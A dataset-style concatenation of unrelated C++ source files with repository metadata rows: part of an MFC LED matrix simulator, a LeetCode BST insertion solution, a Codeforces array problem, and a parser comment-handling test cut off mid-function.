buffer[y + (x/8)*FONT_HEIGHT + i*FONT_HEIGHT*FONT_HEIGHT/8] |= 1<<(x%8);
else
buffer[y + (x/8)*FONT_HEIGHT + i*FONT_HEIGHT*FONT_HEIGHT/8] &= ~(1<<(x%8));
}
}
dim[i][0] = char_map[i].heigth;
dim[i][1] = char_map[i].width ;
}
CFile file(szFile,CFile::modeCreate|CFile::modeWrite);
file.WriteHuge(buffer,sizeof(buffer));
file.SeekToBegin();
file.Write(dim,sizeof(dim));
file.Close();
}
void CMatrixSimulator::DecompressFont(LPCTSTR szFile)
{
BYTE dim[256][2];
BYTE buffer[FONT_HEIGHT*8*256];
memset(buffer,0x00,sizeof(buffer));
CFile file(szFile,CFile::modeRead);
file.ReadHuge(buffer,sizeof(buffer));
file.SeekToBegin();
file.Read(dim,sizeof(dim));
file.Close();
for (int i=0; i< 256; i++)
{
for (int x=0; x< FONT_HEIGHT; x++)
{
for (int y=0; y < FONT_HEIGHT; y++)
{
if (buffer[y + (x/8)*FONT_HEIGHT + i*FONT_HEIGHT*FONT_HEIGHT/8] & (1<<(x%8)))
char_map[i].pdata[y][x] = 1;
else
char_map[i].pdata[y][x] = 0;
}
}
char_map[i].heigth = dim[i][0];
char_map[i].width = dim[i][1];
}
}
int CMatrixSimulator::GetCharWidthBuffer(PBYTE pBuffer)
{
if (m_nTextLength > 256) m_nTextLength = 256;
memcpy(pBuffer,m_wCharWidth,m_nTextLength*sizeof(WORD));
return m_nTextLength;
}
int CMatrixSimulator::GetFontCharWidthBuffer(PBYTE pBuffer)
{
if (m_nFontTextLength > 256) m_nFontTextLength = 256;
memcpy(pBuffer,m_wFontCharWidth[m_nCurrentLayer],m_nFontTextLength*sizeof(WORD));
return m_nFontTextLength;
}
void CMatrixSimulator::GradientLayer(int nColor, int nLayer)
{
PBYTE pBuffer = NULL;
UINT cx = 0, length = 0;
if (nLayer>=0)
{
cx = DATA_LENGTH;
length = m_nTextLengthPixel[nLayer];
pBuffer = (__SCREEN_LAYER[nLayer] + m_cx);
}
else
{
cx = m_cx;
length = m_cx;
pBuffer = m_pStaticLine;
}
int color = nColor;
int c[2] = {2,3};
if (color == 1)
{
c[0] = 2;
c[1] = 3;
}
if (color == 2)
{
c[0] = 3;
c[1] = 1;
}
if (color == 3)
{
c[0] = 1;
c[1] = 2;
}
for (int x=0; x< 8; x++)
{
if (x >=0 && x <4) color = c[0];
if (x >=4 && x <8) color = c[1];
for (int y =0; y< (int)length; y++)
{
BYTE data = ChangeColor(color,pBuffer[y + cx*x]);
pBuffer[y + cx*x] = (data & 0x33) | (pBuffer[y + cx*x]&(~0x33));
}
}
}
void CMatrixSimulator::InitDefaultFont()
{
for (int i =0; i < LAYER_COUNT; i++)
LoadFont(__FONT_BUFFER[i],sizeof(__FONT_BUFFER[i]),i);
}
void CMatrixSimulator::LoadFont()
{
LoadFont(__FONT_BUFFER[m_nCurrentLayer],sizeof(__FONT_BUFFER[m_nCurrentLayer]),m_nCurrentLayer);
}
void CMatrixSimulator::LoadFont(PBYTE pData,int nDataLength, int nLayer)
{
int cx = 0;
char szText[512] = {' '};
CString csText = _T(" ");
for (int c = 0; c< 256; c++)
{
CString csTemp = _T("");
csTemp.Format(_T("%c"),c);
csText += csTemp;
}
#ifdef _UNICODE
LPTSTR szData = (LPTSTR)csText.GetBuffer(csText.GetLength());
int length = WideCharToMultiByte(CP_ACP,0,szData,wcslen(szData),szText,sizeof(szText),NULL,NULL);
szText[length] = '\0';
#endif
int pos = 0, nPixel =0;
m_nFontTextLength = strlen(szText);
memset(pData,BLANK_STATE,nDataLength);
pos += TextToMatrix(szText+pos,cx,nLayer); // 512 characters
nPixel += cx;
pData = MatrixToPixel(pData,cx,(nDataLength/DATA_LINE),3);
m_nFontPixelLenght = nPixel;
}
PBYTE CMatrixSimulator::MatrixToPixel(PBYTE pData, int nPixelLenght, int nBufferLength, int nColor)
{
for (int z=0; z< 8 ; z+=2)
{
for (int y=0; y< 8 ; y++)
{
for (int x=0; x< nPixelLenght; x++)
{
if ((buffer)[x][(y + z*4)]==1)
pData[x + (y)*nBufferLength] |= (nColor<<z);
else if ((buffer)[x][(y + z*4)]==0)
pData[x + (y)*nBufferLength] &= ~(nColor<<z);
}
}
}
return pData + nBufferLength*8 + nPixelLenght;
}
int CMatrixSimulator::TextToMatrix(const char *szText, int &cx, int nLayer)
{
int len = strlen(szText);
m_wFontCharWidth[nLayer][0] = 0;
memset(buffer,BLANK_STATE,2048*8*32);
for (int i = 0; i< len; i++)
{
BYTE sz = BYTE(szText[i]);
for (int x = 0; x < char_map[sz].width; x++)
{
for (int y = 0; y < char_map[sz].heigth; y++)
{
buffer[x + cx][y] = char_map[sz].pdata[x][y];
}
}
cx+=char_map[sz].width;
m_wFontCharWidth[nLayer][i + 1] = cx;
if (cx > 2048*8)
break; // cut off too long text
}
return int(i);
}
int CMatrixSimulator::GetFontBuffer(PBYTE *pBuffer)
{
*pBuffer = __SCREEN_LAYER[m_nCurrentLayer];
memcpy(*pBuffer,__FONT_BUFFER[m_nCurrentLayer],DATA_LINE*DATA_LENGTH);
MoveText(0,m_szTextPos[m_nCurrentLayer].cy,m_nCurrentLayer,FALSE);
return m_nFontPixelLenght;
}
void CMatrixSimulator::ShowClock(const char *szText)
{
TextFromFont(szText,3,TRUE,&m_pClock,CLOCK_LENGTH);
}
int CMatrixSimulator::TextFromFont(const char *szText, int nColor, BOOL bGradient, PBYTE *pBuffer, UINT nLenght)
{
int pos = 0;
int len = strlen(szText);
BYTE mask = 0x00;
BYTE mask_clr[2] = {0x00};
switch (nColor)
{
case 0:
mask = 0xFF; // BLANK
mask_clr[0] = 0xFF;
mask_clr[1] = 0xFF;
break;
case 1:
mask = 0xAA; // RED RRRR
mask_clr[0] = 0x99; // GREEN RGRG
mask_clr[1] = 0x88; // YELLOW RYRY
break;
case 2:
mask = 0x55; // GREEN GGGG
mask_clr[0] = 0x44; // YELLOW GYGY
mask_clr[1] = 0x66; // RED GRGR
break;
case 3:
mask = 0x00; // YELLOW YYYY
mask_clr[0] = 0x22; // RED YRYR
mask_clr[1] = 0x11; // GREEN YGYG
break;
default:
break;
}
for (int i=0; i< len; i++)
{
BYTE c = szText[i];
if (c >255) c =255;
int nWidth = m_wFontCharWidth[m_nCurrentLayer][c+1] - m_wFontCharWidth[m_nCurrentLayer][c];
if (pos + nWidth > int(nLenght)) break;
for (int y=0; y< 8 ; y++)
{
if (bGradient) {
if (y >=0 && y <4) mask = mask_clr[0];
if (y >=4 && y <8) mask = mask_clr[1];
}
for (int x=0; x< nWidth; x++)
{
(*pBuffer)[x + pos + y*nLenght] = (~mask) & __FONT_BUFFER[m_nCurrentLayer][x + m_wFontCharWidth[m_nCurrentLayer][c] + y*DATA_LENGTH];
}
}
pos += nWidth;
}
return pos;
}
void CMatrixSimulator::SaveWorkspace(CFile &file)
{
file.Write(&m_szBkPos.cx,sizeof(m_szBkPos.cx));
file.Write(&m_szBkPos.cy,sizeof(m_szBkPos.cy));
file.Write(&m_cx,sizeof(m_cx));
file.Write(&m_cy,sizeof(m_cy));
file.Write(m_pStaticLine,m_cx*8);
file.Write(&m_bLoadBkgndImgs,sizeof(m_bLoadBkgndImgs));
file.Write(&m_nCurrentLayer,sizeof(m_nCurrentLayer));
file.Write(m_wCharWidth,sizeof(m_wCharWidth));
file.Write(&m_nFontPixelLenght,sizeof(m_nFontPixelLenght));
file.Write(&m_nTextLength,sizeof(m_nTextLength));
file.Write(&m_nFontTextLength,sizeof(m_nFontTextLength));
for(int i=0; i< 4; i++){
file.Write(&m_bLoadImage[i],sizeof(m_bLoadImage[i]));
file.Write(&m_szTextPos[i].cx,sizeof(m_szTextPos[i].cx));
file.Write(&m_szTextPos[i].cy,sizeof(m_szTextPos[i].cy));
file.Write((LPVOID)__SCREEN_LAYER[i],sizeof(__SCREEN_LAYER[i]));
file.Write((LPVOID)__FONT_BUFFER[i],sizeof(__FONT_BUFFER[i]));
file.Write(m_wFontCharWidth[i],sizeof(m_wFontCharWidth[i]));
file.Write(&m_nTextLengthPixel[i],sizeof(m_nTextLengthPixel[i]));
}
}
void CMatrixSimulator::LoadWorkspace(CFile &file)
{
file.Read(&m_szBkPos.cx,sizeof(m_szBkPos.cx));
file.Read(&m_szBkPos.cy,sizeof(m_szBkPos.cy));
file.Read(&m_cx,sizeof(m_cx));
file.Read(&m_cy,sizeof(m_cy));
file.Read(m_pStaticLine,m_cx*8);
file.Read(&m_bLoadBkgndImgs,sizeof(m_bLoadBkgndImgs));
file.Read(&m_nCurrentLayer,sizeof(m_nCurrentLayer));
file.Read(m_wCharWidth,sizeof(m_wCharWidth));
file.Read(&m_nFontPixelLenght,sizeof(m_nFontPixelLenght));
file.Read(&m_nTextLength,sizeof(m_nTextLength));
file.Read(&m_nFontTextLength,sizeof(m_nFontTextLength));
for(int i=0; i< 4; i++){
file.Read(&m_bLoadImage[i],sizeof(m_bLoadImage[i]));
file.Read(&m_szTextPos[i].cx,sizeof(m_szTextPos[i].cx));
file.Read(&m_szTextPos[i].cy,sizeof(m_szTextPos[i].cy));
file.Read((LPVOID)__SCREEN_LAYER[i],sizeof(__SCREEN_LAYER[i]));
file.Read((LPVOID)__FONT_BUFFER[i],sizeof(__FONT_BUFFER[i]));
file.Read(m_wFontCharWidth[i],sizeof(m_wFontCharWidth[i]));
file.Read(&m_nTextLengthPixel[i],sizeof(m_nTextLengthPixel[i]));
}
m_pStart = m_pOrigin + m_cx;
m_pEnd = m_pStart + DATA_LENGTH*DATA_LINE;
}
void CMatrixSimulator::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
m_ptPosition.y = -int(nPos);
m_bHitScroll = TRUE;
SetWindowPos(NULL,m_ptPosition.x,m_ptPosition.y,0,0,SWP_NOSIZE|SWP_NOREDRAW);
this->DisplayFrame(m_pDCMem,TRUE);
}
void CMatrixSimulator::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
m_ptPosition.x = -int(nPos);
m_bHitScroll = TRUE;
SetWindowPos(NULL,m_ptPosition.x,m_ptPosition.y,0,0,SWP_NOSIZE|SWP_NOREDRAW);
this->DisplayFrame(m_pDCMem,TRUE);
}
| 26.040323 | 146 | 0.61598 | cuongquay |
86baf412b42932124acf064931e68fa6638e9078 | 1,202 | cpp | C++ | Week13/701.cpp | bobsingh149/LeetCode | 293ed4931960bf5b9a3d5c4331ba4dfddccfcd55 | [
"MIT"
] | 101 | 2021-02-26T14:32:37.000Z | 2022-03-16T18:46:37.000Z | Week13/701.cpp | bobsingh149/LeetCode | 293ed4931960bf5b9a3d5c4331ba4dfddccfcd55 | [
"MIT"
] | null | null | null | Week13/701.cpp | bobsingh149/LeetCode | 293ed4931960bf5b9a3d5c4331ba4dfddccfcd55 | [
"MIT"
] | 30 | 2021-03-09T05:16:48.000Z | 2022-03-16T21:16:33.000Z | /**
* Definition for a binary tree node.
* struct TreeNode {
* int val;
* TreeNode *left;
* TreeNode *right;
* TreeNode() : val(0), left(nullptr), right(nullptr) {}
* TreeNode(int x) : val(x), left(nullptr), right(nullptr) {}
* TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {}
* };
*/
class Solution {
public:
void get_data(vector<int> &contain, TreeNode* root){
if(root==NULL){
return;
}
get_data(contain, root->left);
contain.push_back(root->val);
get_data(contain, root->right);
}
TreeNode* create(vector<int> &contain, int start, int end){
if(start>end){
return NULL;
}
int mid=(start+end)/2;
struct TreeNode* a= new TreeNode(contain[mid]);
a->left=create(contain, start, mid-1);
a->right=create(contain,mid+1, end);
return a;
}
TreeNode* insertIntoBST(TreeNode* root, int val) {
vector<int> contain;
get_data(contain, root);
contain.push_back(val);
sort(contain.begin(), contain.end());
return create(contain, 0, contain.size()-1);
}
};
| 30.05 | 93 | 0.563228 | bobsingh149 |
86bdf01183e05b00bb2f0561b71eb902f4cbbd20 | 709 | cpp | C++ | C/C1433.cpp | Darknez07/Codeforces-sol | afd926c197f43784c12220430bb3c06011bb185e | [
"MIT"
] | null | null | null | C/C1433.cpp | Darknez07/Codeforces-sol | afd926c197f43784c12220430bb3c06011bb185e | [
"MIT"
] | null | null | null | C/C1433.cpp | Darknez07/Codeforces-sol | afd926c197f43784c12220430bb3c06011bb185e | [
"MIT"
] | null | null | null | #include <iostream>
#include <vector>
using namespace std;
int main(){
int max = -1,t,n,indx;
cin>>t;
while(t--){
cin>>n;
vector<int> v(n);
max = -1;
indx = -1;
for(int i=0;i<n;i++){
cin>>v[i];
if(max < v[i]){
max = v[i];
}
}
for(int i=0;i<n;i++){
if(v[i] == max){
if(i > 0 && v[i - 1] < max){
indx = i;
break;
}else if(i < n - 1 && v[i + 1] < max){
indx = i;
break;
}
}
}
cout<<(indx == -1 ? -1: indx + 1)<<endl;
}
} | 22.870968 | 54 | 0.294781 | Darknez07 |
86c12c8abab5a921e7fc00b8151a64ee1103a5ec | 2,491 | hpp | C++ | include/scapin/fft_helper.hpp | sbrisard/gollum | 25d5b9aea63a8f2812c4b41850450fcbead64da7 | [
"BSD-3-Clause"
] | null | null | null | include/scapin/fft_helper.hpp | sbrisard/gollum | 25d5b9aea63a8f2812c4b41850450fcbead64da7 | [
"BSD-3-Clause"
] | 4 | 2020-09-24T07:32:21.000Z | 2020-12-01T08:06:00.000Z | include/scapin/fft_helper.hpp | sbrisard/gollum | 25d5b9aea63a8f2812c4b41850450fcbead64da7 | [
"BSD-3-Clause"
] | 1 | 2020-02-02T18:05:15.000Z | 2020-02-02T18:05:15.000Z | /**
* @file fft_utils.h
*
* @brief Helper functions to work with discrete Fourier transforms.
*
* This module is heavily inspired by the `numpy.fft.helper` module, see
*
* <https://docs.scipy.org/doc/numpy/reference/routines.fft.html#helper-routines>
*
*/
#pragma once
#include <cmath>
#include <numbers>
#include "core.hpp"
namespace fft_helper {
/**
* Return the Discrete Fourier Transform sample frequencies.
*
* The returned float array `freq` contains the frequency bin centers in cycles
* per unit of the sample spacing (with zero at the start). For instance, if the
* sample spacing is in seconds, then the frequency unit is cycles/second.
*
* Given a window length `n` and a sample spacing `d`
*
* f = [0, 1, ..., n/2-1, -n/2, ..., -1] / (d * n) if n is even
* f = [0, 1, ..., (n-1)/2, -(n-1)/2, ..., -1] / (d * n) if n is odd
*
* If `freq == nullptr`, then a `new double[n]` array is allocated and
* returned. Otherwise, `freq` must be a preallocated `double[n]` array, which
* is modified in place and returned.
*/
DllExport double *fftfreq(int n, double d, double *freq) {
if (freq == nullptr) {
freq = new double[n];
}
int const m = n / 2;
int const rem = n % 2;
double const f = 1. / (d * n);
for (int i = 0; i < m + rem; i++) {
freq[i] = f * i;
}
for (int i = m + rem; i < n; i++) {
freq[i] = -f * (n - i);
}
return freq;
}
/**
* Return the Discrete Fourier Transform sample wavenumbers.
*
* The returned float array `k` contains the wavenumbers bin centers in radians
* per unit of the L (with zero at the start). For instance, if the
* sample L is in seconds, then the frequency unit is radians/second.
*
* Given a window length `n` and the sample `L`
*
* k = [0, 1, ..., n/2-1, -n/2, ..., -1] * Δk if n is even
* k = [0, 1, ..., (n-1)/2, -(n-1)/2, ..., -1] * Δk if n is odd
*
* where `Δk = 2π / (n * L)`.
*
* If `k == nullptr`, then a `new double[n]` array is allocated and
* returned. Otherwise, `k` must be a preallocated `double[n]` array, which
* is modified in place and returned.
*/
DllExport double *fftwavnum(int n, double L, double *k) {
if (k == nullptr) {
k = new double[n];
}
int const m = n / 2;
int const rem = n % 2;
double const delta_k = 2 * std::numbers::pi / (n * L);
for (int i = 0; i < m + rem; i++) {
k[i] = delta_k * i;
}
for (int i = m + rem; i < n; i++) {
k[i] = -delta_k * (n - i);
}
return k;
}
} // namespace fft_helper | 29.305882 | 81 | 0.59173 | sbrisard |
86c15fbcaa76966acfcaf38e56429152a80c7d74 | 1,992 | cpp | C++ | gym/102829/J.cpp | albexl/codeforces-gym-submissions | 2a51905c50fcf5d7f417af81c4c49ca5217d0753 | [
"MIT"
] | 1 | 2021-07-16T19:59:39.000Z | 2021-07-16T19:59:39.000Z | gym/102829/J.cpp | albexl/codeforces-gym-submissions | 2a51905c50fcf5d7f417af81c4c49ca5217d0753 | [
"MIT"
] | null | null | null | gym/102829/J.cpp | albexl/codeforces-gym-submissions | 2a51905c50fcf5d7f417af81c4c49ca5217d0753 | [
"MIT"
] | null | null | null | #include <bits/stdc++.h>
#include <ext/pb_ds/assoc_container.hpp>
#include <ext/pb_ds/tree_policy.hpp>
#include <random>
#include <chrono>
using namespace std;
using namespace __gnu_pbds;
#define endl '\n'
typedef long long ll;
typedef pair<int, int> pii;
// typedef tree<int, null_type,less<int>, rb_tree_tag, tree_order_statistics_node_update> ordered_set;
// mt19937 rng(chrono::steady_clock::now().time_since_epoch().count());
// template<typename T>
// static T randint(T lo, T hi){
// return uniform_int_distribution<T>(lo, hi)(rng);
// }
const int maxn = 500 + 5;
int pi[maxn * maxn], idx[maxn][maxn], n;
ll mn[maxn * maxn], sz[maxn * maxn], a[maxn][maxn];
ll ans = 0, cnt = 0;
bool valid(int x, int y){
return x >= 0 && x < n && y >= 0 && y < n;
}
int root(int x){
return pi[x] == x ? x : root(pi[x]);
}
void merge(int a, int b){
a = root(a), b = root(b);
if(a == b)
return;
if(sz[a] > sz[b])
swap(a, b);
sz[b] += sz[a];
mn[b] = min(mn[b], mn[a]);
pi[a] = b;
ll val = mn[b] * sz[b];
if(val > ans || (val == ans && sz[b] > cnt)){
ans = val;
cnt = sz[b];
}
}
int main(){
ios_base::sync_with_stdio(0);
cin.tie(0);
// freopen("settling.in", "r", stdin);
// freopen("settling.out", "w", stdout);
cin >> n;
int pos = 0;
vector<pair<ll, pii>> spots;
for(int i = 0; i < n; i++)
for(int j = 0; j < n; j++){
cin >> a[i][j];
idx[i][j] = pos;
sz[pos] = 1;
mn[pos] = a[i][j];
pi[pos] = pos;
pos++;
spots.push_back({a[i][j], {i, j}});
}
vector<int> dx = {1, -1, 0, 0};
vector<int> dy = {0, 0, 1, -1};
sort(spots.rbegin(), spots.rend());
for(auto &p : spots){
ll val = p.first;
int x = p.second.first;
int y = p.second.second;
if(val > ans || (val == ans && 1 > cnt)){
ans = val;
cnt = 1;
}
for(int i = 0; i < 4; i++){
int nx = x + dx[i];
int ny = y + dy[i];
if(valid(nx, ny) && a[nx][ny] >= val)
merge(idx[x][y], idx[nx][ny]);
}
}
cout << ans << " " << cnt << endl;
return 0;
} | 19.339806 | 102 | 0.545683 | albexl |
86c5d9d3d1ad64e8712ebf855e09f9a306e62bdc | 1,169 | cpp | C++ | examples/mplapack/04_NonsymmetricEigenproblems/generic/Rgees_Grcar_generic.cpp | Ndersam/mplapack | f2ef54d7ce95e4028d3f101a901c75d18d3f1327 | [
"BSD-3-Clause-Open-MPI"
] | 26 | 2019-03-20T04:06:03.000Z | 2022-03-02T10:21:01.000Z | examples/mplapack/04_NonsymmetricEigenproblems/generic/Rgees_Grcar_generic.cpp | Ndersam/mplapack | f2ef54d7ce95e4028d3f101a901c75d18d3f1327 | [
"BSD-3-Clause-Open-MPI"
] | 5 | 2019-03-04T03:32:41.000Z | 2021-12-01T07:47:25.000Z | examples/mplapack/04_NonsymmetricEigenproblems/generic/Rgees_Grcar_generic.cpp | Ndersam/mplapack | f2ef54d7ce95e4028d3f101a901c75d18d3f1327 | [
"BSD-3-Clause-Open-MPI"
] | 5 | 2019-03-09T17:50:26.000Z | 2022-03-10T19:46:20.000Z | bool rselect(REAL ar, REAL ai) {
// sorting rule for eigenvalues.
return false;
}
int main() {
INTEGER n = 100;
REAL *a = new REAL[n * n];
REAL *vs = new REAL[n * n];
INTEGER sdim = 0;
INTEGER lwork = 3 * n;
REAL *wr = new REAL[n];
REAL *wi = new REAL[n];
REAL *work = new REAL[lwork];
bool bwork[n];
INTEGER info;
// setting A matrix
for (int i = 1; i <= n; i++) {
for (int j = 1; j <= n; j++) {
a[(i - 1) + (j - 1) * n] = 0.0;
if ( i <= j && j <= i + 3 ) a[(i - 1) + (j - 1) * n] = 1.0;
if ( i - 1 == j ) a[(i - 1) + (j - 1) * n] = -1.0;
}
}
printf("# octave check\n");
printf("a ="); printmat(n, n, a, n); printf("\n");
Rgees("V", "N", rselect, n, a, n, sdim, wr, wi, vs, n, work, lwork, bwork, info);
printf("vs ="); printmat(n, n, vs, n); printf("\n");
printf("vs*vs'\n");
printf("eig(a)\n");
for (int i = 1; i <= n; i = i + 1) {
printf("w_%d = ", (int)i); printnum(wr[i - 1]); printf(" "); printnum(wi[i - 1]); printf("i\n");
}
delete[] work;
delete[] wr;
delete[] wi;
delete[] vs;
delete[] a;
}
| 28.512195 | 104 | 0.443114 | Ndersam |
86c6358de207c280f6ae8a2a54a644c2d290fefa | 381 | cpp | C++ | C++/Combination Test/writing.cpp | EJEmmett/RocksatX19 | 27139f72915ae7dd376daeb47a8721c09dd1f717 | [
"BSL-1.0"
] | null | null | null | C++/Combination Test/writing.cpp | EJEmmett/RocksatX19 | 27139f72915ae7dd376daeb47a8721c09dd1f717 | [
"BSL-1.0"
] | null | null | null | C++/Combination Test/writing.cpp | EJEmmett/RocksatX19 | 27139f72915ae7dd376daeb47a8721c09dd1f717 | [
"BSL-1.0"
] | null | null | null | //file io testing
#include <iostream>
#include <string>
#include <fstream>
#include <sstream>
#include <cstdlib>
#include <vector>
#include "writing.h"
#include "hash1.h"
using namespace std;
Writing::Writing()
{
}
void Writing::mainWrite()
{
string hash;
Hash h;
hash = h.getValue();
ofstream ws;
ws.open("out.txt");
ws << h.getValue() << std::endl;
ws.close();
}
| 12.7 | 33 | 0.656168 | EJEmmett |
f866460fca927b85ec123ae17b5c05a26209003a | 4,784 | cpp | C++ | Win32.Ago.c/synflood.cpp | 010001111/Vx-Suites | 6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79 | [
"MIT"
] | 2 | 2021-02-04T06:47:45.000Z | 2021-07-28T10:02:10.000Z | Win32.Ago.c/synflood.cpp | 010001111/Vx-Suites | 6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79 | [
"MIT"
] | null | null | null | Win32.Ago.c/synflood.cpp | 010001111/Vx-Suites | 6b4b90a60512cce48aa7b87aec5e5ac1c4bb9a79 | [
"MIT"
] | null | null | null | /* Agobot3 - a modular IRC bot for Win32 / Linux
Copyright (C) 2003 Ago
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */
#include "main.h"
#include "mainctrl.h"
#include "utility.h"
long SYNFlood(char *target, int port, int len, int delay);
CDDOSSynFlood::CDDOSSynFlood() { m_szType="CDDOSSynFlood"; m_sDDOSName.Assign("synflood"); }
void CDDOSSynFlood::StartDDOS()
{ g_pMainCtrl->m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s: flooding %s port %u for %u seconds, %d ms delay.", m_sDDOSName.CStr(), m_sHost.CStr(), m_iPort, m_iTime, m_iDelay);
CString sReply; sReply.Format("%s: %s:%d [%i]", m_sDDOSName.CStr(), m_sHost.CStr(), m_iPort, SYNFlood(m_sHost.Str(), m_iPort, m_iTime, m_iDelay)/1024/m_iTime);
g_pMainCtrl->m_cIRC.SendFormat(m_bSilent, m_bNotice, m_sReplyTo.Str(), "%s", sReply.CStr()); }
long SendSyn(unsigned long TargetIP, unsigned long SpoofingIP, unsigned short TargetPort, int len, int delay)
{ int sock; sockaddr_in addr_in; IPHEADER ipHeader; TCPHEADER tcpHeader; PSDHEADER psdHeader;
char szSendBuf[60]={0}; int rect; unsigned long lTimerCount=0; long i=0; bool bRandPort=false;
unsigned long lSpoofIP; char *szSpoofIP=(char*)&lSpoofIP;
szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);
if(TargetPort==0) { bRandPort=true; TargetPort=brandom(1000, 10000); }
#ifdef WIN32
BOOL flag=TRUE;
#else
bool flag=true;
#endif
#ifdef WIN32
sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if(sock==INVALID_SOCKET) return false;
#else
sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW); if(sock==INVALID_SOCKET) return false;
#endif
if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&flag, sizeof(flag))==SOCKET_ERROR) return false;
addr_in.sin_family=AF_INET; addr_in.sin_port=htons(TargetPort); addr_in.sin_addr.s_addr=TargetIP;
ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.destIP=TargetIP;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384); tcpHeader.th_urp=0; tcpHeader.th_ack=0;
lTimerCount=GetTickCount();
while(g_pMainCtrl->m_cDDOS.m_bDDOSing)
{ i++;
tcpHeader.th_sum=0; tcpHeader.th_dport=htons(TargetPort);
psdHeader.daddr=ipHeader.destIP; psdHeader.mbz=0; psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));
ipHeader.sourceIP=htonl(lSpoofIP);
//ipHeader.sourceIP=htonl(SpoofingIP++);
tcpHeader.th_sport=htons((rand()%1001)+1000); // source port
tcpHeader.th_seq=htons((rand()<<16)|rand());
psdHeader.saddr=ipHeader.sourceIP;
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
if(rect==SOCKET_ERROR) return false;
if((GetTickCount()-lTimerCount)/1000>len) break;
if(bRandPort) { TargetPort=brandom(1000, 10000); }
szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);
Sleep(delay); }
#ifdef _WIN32
closesocket(sock);
#else
close(sock);
#endif
return (sizeof(ipHeader)+sizeof(tcpHeader)*i); }
long SYNFlood(char *target, int port, int len, int delay)
{ unsigned long TargetIP; unsigned long SpoofIP;
CDNS cDNS; TargetIP=cDNS.ResolveAddress(target); SpoofIP=TargetIP+((rand()%512)+256);
return SendSyn(TargetIP, SpoofIP, port, len, delay); }
| 41.6 | 193 | 0.75 | 010001111 |
f866d8ef182572b70dd423abdfcad0fbb73e0d0d | 2,077 | cc | C++ | mod/test/case/wrd/syntax/commentTest.cc | kniz/World | 13b0c8c7fdc6280efcb2135dc3902754a34e6d06 | [
"MIT"
] | 1 | 2019-02-02T07:07:32.000Z | 2019-02-02T07:07:32.000Z | mod/test/case/wrd/syntax/commentTest.cc | kniz/World | 13b0c8c7fdc6280efcb2135dc3902754a34e6d06 | [
"MIT"
] | 25 | 2016-09-23T16:36:19.000Z | 2019-02-12T14:14:32.000Z | mod/test/case/wrd/syntax/commentTest.cc | kniz/World | 13b0c8c7fdc6280efcb2135dc3902754a34e6d06 | [
"MIT"
] | null | null | null | #include "../../../wrdSyntaxTest.hpp"
using namespace wrd;
using namespace std;
namespace {
struct commentTest : public wrdSyntaxTest {};
}
TEST_F(commentTest, singleLineComment) {
// control group.
make().parse(R"SRC(
age int // age is age
main() int // main is also a main
return 0
)SRC").shouldVerified(true);
scope& owns = (scope&) (((scopes&) getSlot().subs()).getContainer());
scope& shares = (scope&) (((scopes&) getSubPack().subs()).getNext().getContainer());
ASSERT_FALSE(nul(shares));
ASSERT_FALSE(nul(owns));
ASSERT_EQ(owns.len(), 1); // 1 for age
ASSERT_EQ(shares.len(), 2); // 1 for main() 1 for @ctor
}
TEST_F(commentTest, multiLineComment) {
// control group.
make().parse(R"SRC(
age int /* age is age
main() int */
main() flt
return 2.5
)SRC").shouldVerified(true);
scope& owns = (scope&) (((scopes&) getSlot().subs()).getContainer());
scope& shares = (scope&) (((scopes&) getSubPack().subs()).getNext().getContainer());
ASSERT_FALSE(nul(shares));
ASSERT_FALSE(nul(owns));
ASSERT_EQ(owns.len(), 1); // 1 for age
ASSERT_EQ(shares.len(), 2); // 1 for main() 1 for @ctor
}
TEST_F(commentTest, multiLineComment2) {
// control group.
make().parse(R"SRC(
age /* age is age
main() int
sdfas */int
main() void
return
)SRC").shouldVerified(true);
scope& owns = (scope&) (((scopes&) getSlot().subs()).getContainer());
scope& shares = (scope&) (((scopes&) getSubPack().subs()).getNext().getContainer());
ASSERT_FALSE(nul(shares));
ASSERT_FALSE(nul(owns));
